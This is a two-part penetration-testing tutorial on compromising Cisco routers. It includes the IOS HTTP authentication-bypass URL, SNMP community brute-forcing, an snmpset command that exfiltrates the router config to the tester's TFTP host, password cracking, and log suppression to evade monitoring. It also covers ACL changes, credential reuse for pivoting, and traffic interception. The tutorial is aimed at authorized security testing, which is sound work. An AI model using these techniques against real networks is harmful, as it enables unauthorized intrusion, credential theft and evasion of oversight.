Exploiting Cisco Routers: All Part 1-2

Exploiting Cisco Routers: Part 1
Mark Wolfgang 2003-09-29

Introduction This two-part article will focus on identifying and exploiting vulnerabilities and poor configurations in Cisco routers. We will then discuss the analysis of the router configuration file and will attempt to leverage this access into other systems. Additionally, we will cover the possibilities of what one may do once access to the device has been achieved. We chose to focus this article on Cisco routers due to their overwhelming market share. Don't Forget the Router... Pen testers may often go after the more glamorous or fun systems to hack, such as the vulnerable Solaris 8 system, or the Microsoft 2000 server vulnerable to the slew of recent RPC DCOM holes, leaving the core network infrastructure devices alone. I would caution the pen tester to think twice about overlooking these critical systems, for these are the proverbial keys to the kingdom. "So what that the telnet service is accessible to everyone on the Internet", or "I need SNMP open in order to manage my devices", the client may say. These two services alone (though not necessarily vulnerable because of bugs in the code) will usually give a pen tester (or attacker) more than enough opportunities to compromise the device. As important as these network devices are to the overall security, reliability, and availability of the network, it is pertinent that the pen tester takes a good, hard look at them before blessing them as being secure. Full control of the routing device can often lead to full control of the network - either by using credentials learned from the router on other network devices and systems, or by acting more deviously and diverting some traffic through a third-party system on its way to the intended destination. I once held a power company's network in my hands, so to speak. I had brute-forced the SNMP write community string, enabled TFTP, and sent the config file to my TFTP server. I then installed the required management software (it was an older Bay ARN router), and could have very easily reconfigured to router to do what I pleased. I could have removed Access Control Lists (ACLs), used the system to telnet or ssh to internal network systems, or even completely shut the network down. To make matters worse, I had seized control of this critical network device from the comfort of my office in Northern Virginia. Identifying a Router Routers can be configured to look just like any other system on the network - they can run a web server, an SSH daemon, chargen, and they can even appear to be running multiple X servers. For this reason, they can may often be mistaken as Unix systems. Probably the easiest and most accurate way of identifying a host on the network as a router is by using Nmap - the venerable port scanner with very accurate OS fingerprinting. A port scan of a typical Cisco router might look like this: Interesting ports on router1: (The 168 ports scanned but not shown below are in state: closed) Port State Service 7/tcp open echo 9/tcp open discard 13/tcp open daytime 19/tcp open chargen 23/tcp open telnet 79/tcp open finger 2001/tcp open dc 4001/tcp open unknown 6001/tcp open X11:1 9001/tcp open unknown Remote operating system guess: Cisco Router/Switch with IOS 11.2 If a login service such as telnet or SSH is accessible, one can simply use a standard telnet client and connect to the appropriate port. A basic Cisco router might look like the following: [root@hackyou root]# telnet router1 Trying router1... Connected to router1. Escape character is '^]'. User Access Verification Password: The "User Access Verification" line is a trademark Cisco telnet banner. Of course one can't rely on banners alone, since system administrators sometimes modify them for deceptive reasons. SING is a tool that one can use to assemble custom ICMP packets, to include ICMP netmask requests (ICMP type 17). In my experience, routers are typically the only devices that reply to this type of ICMP packet. Sending this type (and others) of ICMP packet may also help to positively identify a system as a router. Using traceroute to find the organization's border router is also quite easy. Once the target site's Internet accessible systems have been identified, one can traceroute to those systems to learn the pathway to them. Typically the last hop before an Internet accessible system is the organization's border router. Other methods exist, but typically a Telnet client or NetCat is all one needs to connect and verify the device is a router. Identifying Vulnerabilities Vulnerability scanners typically do a great job in identifying known vulnerabilities, but can often miss significant configuration errors. Nessus 2.0.6 for example, has a list of about 44 community strings to brute-force the SNMP daemon, which maybe enough to catch the usage of common default community strings such as public, and private, but of course can't take into account site-specific strings that might be in use. As with most penetration tests, vulnerability scanners can be a good start, but are simply inadequate in matching the human element that goes into a penetration test. For its market penetration and popularity, Cisco's IOS has relatively few high-risk vulnerabilities leading to the direct compromise of its devices. Rather, I find that poor system administration leads to the compromise of more routers than software bugs. Correspondingly, a vulnerability scanner may report that everything is fine, when there are actually a couple different avenues a pen tester could take in assessing the router, such as brute-forcing available services. Exploiting Vulnerabilities in Cisco IOS A vulnerability that affects most Cisco routers (when conditions are right) is the HTTP Configuration Arbitrary Administrative Access Vulnerability. This particular vulnerability should be found by all vulnerability scanners, and is trivial to exploit. It often yields full remote administrative control of the affected router. The pen tester's tool of choice is simply a web browser. Firstly, a pen tester will fire up his web browser and point it to the vulnerable router. It may look like the following image: Figure 1: Cisco Router HTTP Basic Authentication Prompt After clicking the "Cancel" button, the pen tester enters the following URL into the address bar. http://10.0.1.252/level/99/exec/show/config and is presented with the startup configuration of the device. Figure 2: Cisco Router Config Displayed Clearly visible in the web browser is the configuration of the target router. In it, we see exactly how the router is configured, other interfaces, the Access Control Lists (ACLS) if any, the SNMP community strings, and the easily decrypted passwords! Of the three different methods in IOS of storing the password, the network administrator has chosen Vigenere - an easily reversed encryption scheme. In this case, I fire up the freely available tool GetPass from Boson and instantly reverse the hash into plain text. Figure 3: Decrypting a Vigenere Password Several other decryption tools exist, and most of them are free. There are web pages with CGI scripts that do the decryption, several Unix programs, and even software for your Palm Pilot. Once the password is cracked, the pen tester logs in via telnet and gains complete administrative control on the router. As mentioned, there are three methods IOS can use to represent a password in a router config file. They are: Clear Text Vigenere MD5 enable password password enable password 7 104B0718071B17 enable secret 5 $1$yOMG$38ZIcsEmMaIjsCyQM6hya0 It should be obvious that the most secure option is the one-way hash MD5, which by its very nature, cannot be reversed. It's implemented using the command, "enable secret 0 password". Now you may think that a vulnerability such as this one found almost two years ago should be eradicated by now, but you may be surprised. I mostly find it on test routers on a target's internal network, but that's not to say you won't find a router configured like this that's accessible from the Internet. Exploiting Configuration Errors The preceding section demonstrates the exploitation of a bug in Cisco's IOS that yields full remote administrative control. Due to the nature of IOS, and the few bugs like this it has, I'm going to say that more often than not, the pen tester is going to have resort to mundane stuff like brute-forcing. This section explores two different avenues for brute-forcing. Brute-Forcing Services: SNMP is Always Fun A basic port scan may reveal that UDP port 161 (SNMP) is open and accessible. A vulnerability scan may have produced no results and the pen tester may think that all is secure. However, if the SNMP community strings are dictionary words, the pen tester is in luck. There are a few different tools for brute-forcing SNMP, and it is usually a fairly safe and quiet way of attacking a border router. If you're fortunate enough to have a license to the Solarwinds suite of network management tools, you'll be please to learn that quite a few tools are included that the pen tester can use to assess Cisco routers. However, for SNMP, I like to use the free SNMP audit scanner ADMsnmp, written by the group ADM. ADMsnmp is a console-based application that will mow through a wordlist pretty quickly, letting you know of any community strings it guesses. When determining the wordlist to use, I typically surf the target website and attempt to learn as much about the target as possible. I then take a bunch of acronyms, names, and departments, and try those words. If I have no luck using those words, I'll use a bigger dictionary wordfile until I'm convinced I've been thorough. Linux ships with a wordfile (/usr/share/dict/words) that contains 45427 words. Wordfiles of all shapes and sizes are available in abundance. Some are in different languages, other's have common themes like Greek Gods, or Star Trek, and others contain words that you may be completely foreign to you -- like sports-related talk for me :-) Below is a screenshot of ADMsnmp guessing a community string. Note the differences that appear on the screen telling the user the community string guessed and the associated level of privileges. Figure 4: ADMsnp Guessing a Read/Write Community String The "send setrequest" string in the above image lets the user know that he has gained Read/Write privileges on the device. The first thing I usually do after gaining this level of access is to briefly walk to MIB (Management Information Base) to learn more about the device. [root@hackyou root]# snmpwalk -v 1 -c duckling 10.0.1.252 | head SNMPv2-MIB::sysDescr.0 = STRING: Cisco Internetwork Operating System Software IOS (tm) 2500 Software (C2500-I-L), Version 12.0(14), RELEASE SOFTWARE (fc1) Copyright (c) 1986-2000 by cisco Systems, Inc. Compiled Tue 31-Oct-00 23:59 by linda SNMPv2-MIB::sysObjectID.0 = OID: SNMPv2-SMI::enterprises.9.1.30 SNMPv2-MIB::sysUpTime.0 = Timeticks: (103607424) 11 days, 23:47:54.24 SNMPv2-MIB::sysContact.0 = STRING: SNMPv2-MIB::sysName.0 = STRING: ADMsnmp SNMPv2-MIB::sysLocation.0 = STRING: SNMPv2-MIB::sysServices.0 = INTEGER: 6 Once I learn the device is a router, and running Cisco's IOS, I will then have the router send its config file to one of my systems using TFTP. I do this with the following command: [root@hackyou root]# snmpset 10.0.1.252 duckling .1.3.6.1.4.1.9.2.1.55.192.168.1.15 s "config" enterprises.9.2.1.55.192.168.1.15 = "config" I'll then check my tftpboot directory, and sure enough, the router's config file is now on my system. The Solarwinds suite has a GUI Windows-based tool that does the same thing, but I prefer to work in Linux, so I'll use the UCD-SNMP utilities. The Solarwinds MIB browser can also be very helpful if SNMP is they only mechanism for accessing the device. It contains the vendor's standard MIBs for an astounding number of different operating systems and devices. Perhaps one can even enable Telnet via the device's MIB. Of course, what one can do via SNMP depends on the vendor and how they decide to utilize SNMP. Cisco has chosen to invest quite a lot in SNMP, giving network managers (and less scrupulous individuals) access to a lot of useful information such as the device's routing tables, interfaces, IP addresses and more. There are also several configuration items one can set using the Cisco generic MIB. The below image depicts a generic MIB on a Cisco device. Using Solarwinds you can browse through the MIB, and double click on the items you want to set or retrieve and the application does the work. Figure 5: Solarwinds MIB Browser on a Cisco Device Brute-Forcing Login Services Brute-forcing login services such as Telnet and SSH can be somewhat harder and often noisier, but can also yield positive results for the pen tester. One of the first things to do before conducting this type of attack on the router is to determine whether or not the router is using some type of extended authentication like Tacacs or Radius. Though IOS doesn't have any means of natively locking out users after X number of login attempts, lockouts can be enabled when authentication is passed off to another system via Tacacs or Radius. The easiest way to tell if authentication is being passed to another system is to simply connect to the router using a standard Telnet client. [root@hackyou root]# telnet router2 Trying router2... Connected to router2. Escape character is '^]'. User Access Verification Username: If the device prompts for a username, you can almost be sure that it is using some form of extended authentication. In this case, Tacacs is implemented and brute-forcing is going to be more difficult, because the pen tester will have to guess two variables, both the username and password instead of just the password. If finger is running, usernames can be gathered, but the chances of locking out a legitimate user account will likely stop most pen testers from conducting this sort of an attack. Of course, if you have permission to assess the site via "whatever means necessary" you might still want to conduct some brute-forcing up to the lockout threshold. If it is determined that extended authorization is not in use, then the pen tester can brute-force the Telnet daemon in much the same way he did with SNMP. Brutus is a Windows-based brute-forcing tool that does a number of different protocols, and can be customized for new protocols on the fly. THC's hydra is also an excellent, Unix-based tool that is very capable of brute-forcing a number of different services. Other tools can be written in Expect, Perl, or other languages the pen tester is familiar with. Concluding Part One In Part One of this series we've looked at few different ways of gaining access into a Cisco router. These methods are by no means exhaustive, but they do take advantage of common vulnerabilities and configuration errors that you're likely to find while conducting penetration testing. So, by this stage in the pen test, we've gained access to the device. Now what? Come back for Part Two in a few weeks and we'll discuss where you can go from here. Exploiting Cisco Routers: Part 2 Mark Wolfgang 2003-12-01 Access Granted -- Now What? Welcome back! The first article in this two-part series covered a few different methods of getting into the target router. This article will focus on what we can do once we've gotten in. For the remainder of this article, we'll assume that the only progress we've made is that we've gotten the below router config via the vulnerable HTTP server. At this point, Access Control Lists (ACLs) prevent us from logging in directly to the router. Analyzing the Router Config As imagined, router config files can give the penetration tester a TON of useful information. One can identify new targets, identify sensitive systems or networks by analyzing the ACLs, learn passwords that may be used elsewhere, and a bunch of other information. Now that we have the router config, we can analyze it for weaknesses, and hopefully glean other useful information from it. Our sample router config looks like this: ! version 12.0 service timestamps debug uptime service timestamps log uptime service password-encryption ! hostname router2 ! logging buffered errors enable secret 5 $1$sz0o$PYahL33gyTuHm9a8/UfmC1 ! username xyzadmin password 7 05331F35754843001754 ip subnet-zero no ip routing ! ! ! interface Ethernet0 description Internal Corporate Link ip address 10.0.1.199 255.255.255.0 no ip directed-broadcast no ip route-cache no ip mroute-cache ! interface Ethernet1 description Link to DMZ ip address 172.16.1.1 255.255.255.0 no ip directed-broadcast no ip route-cache no ip mroute-cache ! interface Serial0 description Link from PSInet bandwidth 1536 no ip address no ip directed-broadcast no fair-queue ! interface Serial1 no ip address no ip directed-broadcast no ip route-cache no ip mroute-cache shutdown ! ip default-gateway 10.0.1.1 ip http server ip classless ! logging history critical logging trap warnings logging 10.0.1.103 access-list 100 permit tcp host 192.168.2.99 host 10.0.1.199 eq telnet access-list 100 permit tcp host 192.168.2.99 host 10.0.1.199 eq finger access-list 100 permit ip 0.0.0.0 255.255.255.248 host 10.0.1.199 access-list 100 permit ip host 10.0.1.103 any access-list 100 deny ip any any snmp-server community public RO snmp-server community private RW snmp-server location XYZ Widgets Inc. Server Room (417) snmp-server contact Network Admins snmp-server host 10.0.1.112 h3rn3c4 banner motd ^C THIS IS A PRIVATE COMPUTER SYSTEM. This computer system including all related equipment, network devices (specifically including Internet access), are provided only for authorized use. All computer systems may be monitored for all lawful purposes, including to ensure that their use is authorized, for management of the system, to facilitate protection against unauthorized access, and to verify security procedures, survivability and operational security. Monitoring includes active attacks by authorized personnel and their entities to test or verify the security of the system. During monitoring, information may be examined, recorded, copied and used for authorized purposes. All information including personal information, placed on or sent over this system may be monitored. Uses of this system, authorized or unauthorized, constitutes consent to monitoring of this system. Unauthorized use may subject you to criminal prosecution. Evidence of any such unauthorized use collected during monitoring may be used for administrative, criminal or other adverse action. Use of this system constitutes consent to monitoring for these purposes. ^C ! line con 0 password 7 01030717481C091D25 transport input none line aux 0 line vty 0 4 password 7 095C4F1A0A1218000F login ! end Cracking the Enable Password The first thing we'll do is attempt to "crack" the enable password. It is represented in the form of an MD5 hash, which is said to be uncrackable. We're not going to attempt to decrypt the password, as this is not possible. Instead, we'll run a dictionary attack against it. In much the same way as John the Ripper plows through an /etc/shadow file, the very popular tool Cain and Abel is capable of conducting both brute-force and dictionary attacks on Cisco MD5 hashes. This tool could be described as the Swiss Army Knife of cracking tools. The following screenshot shows this tool conducting a dictionary attack on the above enable hash. Figure 1: Cain and Able Take note of all the other types of passwords Cain and Abel can crack. This is a tool every Pen Tester has in his toolbox. As displayed in the above image, Cain and Abel was successful in figuring out the enable password. Now that we have this critical piece of information we can attempt to log into the device. If pesky ACLs prevent us from logging in directly, we can either add a rule that allows us to log in, or completely disable an ACL. I'd guess that your organization is like mine in the fact that we want to increase the security of the target network and not increase the risk to the network. If this is the case, you'll likely just add an ACL that allows you to telnet into the router. Before we modify anything with the router though, we'll take a quick look at the entire router config. Too often I find myself moving way too quickly, and inevitably I end up screwing something up. The one thing to point out at this time is the following lines: logging buffered errors logging history critical logging trap warnings logging 10.0.1.103 This router is logging at log level 4 to the syslog server 10.0.1.103. One could turn logging off completely, but that may raise suspicions too much. You may just want to increase the log level to a level where only emergencies are logged. This way, when we do modify the router nothing gets sent to the syslog server. At this point, any changes we to make to the router will have to be done via the HTTP server. We open up our favorite web browser (mine is not IE by the way) and take advantage of the previously mentioned HTTP vulnerability. Figure 2: Raise the router's log level Though we did modify the log level of the router so that most events will not be reported, no guarantees can be made that the network admins aren't using some other method of monitoring the device. We then use the same method to add an ACL permitting us to access the router. Figure 3: Add an ACL, giving us access to the router Now that we've successfully added an ACL that allows us full access to the router and beyond, we can crack the weaker Vigenere password protecting the VTY ports and telnet in. Once we telnet in, we can use the newly acquired enable password to fully administer the router. There are several other items worth mentioning in the router config file. The ACLs show a trusted host. This host ( 192.168.2.99) is permitted to login to the router and to also finger the router to see who is logged on. We also have the snmp read and write community strings, which can more than likely be used on other systems. I will typically put all of the passwords along with some other company-related words into a dictionary file for latter use. Additionally, there is the username "xyzadmin" defined. All of the above information can be used in furthering the penetration test. A common practice in most networks I've seen is a class-based password scheme. That is, each different class of systems, whether it be Unix servers, NT servers, routers and switches etc. has a shared password. Believe it or not, some networks just have a common administrator password for everything! If this is true in this case, we may be able to leverage the access gained to this one device to attempt to login to other systems. Just for the heck of it, we'll try to login to the syslog server. It's more than likely a Unix-based server, so logging in as root won't be possible unless they've really loosened up security. We'll use the newly learned username of "xyzadmin" and quickly crack the associated password using GetPass. If this login attempt is successful, we'll have at the very minimum, a user level shell on the XYZ Widget Company's internal network. With any luck, the syslog server will have some local root vulnerabilities that once exploited give the attacker/pen tester a root shell. And all of this was possible because of a vulnerability in the Cisco HTTP server, that more than likely shouldn't have been running in the first place. Other targets may be TFTP servers that might be listed in the config file. Another way to discover routers and switches on the network is to use use CDP. The Cisco Discovery Protocol is extremely useful for "browsing" the network for other Cisco devices. It's useful for all types of people that gain access to your Cisco devices, including the bad ones. It's definitely not a necessary service, and shouldn't provide any information a well administered network doesn't already have. Once the devices are learned, the attacker can try the learned passwords and community strings on the new devices. Once the pen tester is logged into the router, he will likely want to know what other systems he can access. Until he compromises more powerful systems, he can use both traceroute and telnet from the router to explore the internal network. Interface descriptions help greatly in learning the network. In the above router config, the interfaces have nice descriptive labels as reiterated below: interface Ethernet0 description Internal Corporate Link ip address 10.0.1.199 255.255.255.0 no ip directed-broadcast no ip route-cache no ip mroute-cache ! interface Ethernet1 description Link to DMZ ip address 172.16.1.1 255.255.255.0 no ip directed-broadcast no ip route-cache no ip mroute-cache ! interface Serial0 description Link from PSInet bandwidth 1536 no ip address no ip directed-broadcast no fair-queue ! Want to shutdown the company's Internet access? Okay. Just shutdown the Serial link from the ISP. It's not likely that a pen tester would want to do this, but I list this example to hopefully gain some attention of the importance of the router. Also learned from the description is a couple more target networks to attack. Since the router provides the traffic for the networks, it will more than likely be trusted. Though using Telnet from the router may not appear to be very powerful, don't forget the above example concerning shared passwords. The ACLs present in the above config aren't great, but analyzing a more complex set of ACLs may be quite revealing. You might learn a good source port to use for port scanning (if you don't want to modify the ACLs). Perhaps you'll learn of trusted networks or hosts. You may be wondering about sniffing traffic from the router, since this one device does pass every packet into and out of the network. Though I won't cover it here, sniffing is possible. It's possible to establish a GRE tunnel with another router or system that can speak GRE. Policy routing can then be setup so that certain or all traffic can be sent to this other system via the GRE tunnel. On the other end of the GRE tunnel, systems capable of running sniffers can be setup to run ethereal or dsniff. All this, and the traffic still gets to its intended destination. Setting up sniffing like this is quite elaborate, and conditions and the load on the router have to be just right. It would be easy to overload the router's Internet connection, potentially shutting down the network. For this reason, I doubt most professional pen testers would take the risk of conducting this sort of an attack, unless they were expressly given permission. Some of my past customers haven't been happy if I knocked off one router, let alone the entire Internet connection! For more information on this type of attack, check out the excellent paper written by David Taylor . Summary Hopefully this series on Exploiting Routers has been somewhat enlightening to you, and perhaps you now have a greater sense of awareness on what you as a pen tester can do on your next task. Links and Reference Material Hardening Cisco Routers, by Thomas Akin Stealing the Network: How to Own the Box -- Chapter 4 Author Info View more articles by Mark Wolfgang on SecurityFocus.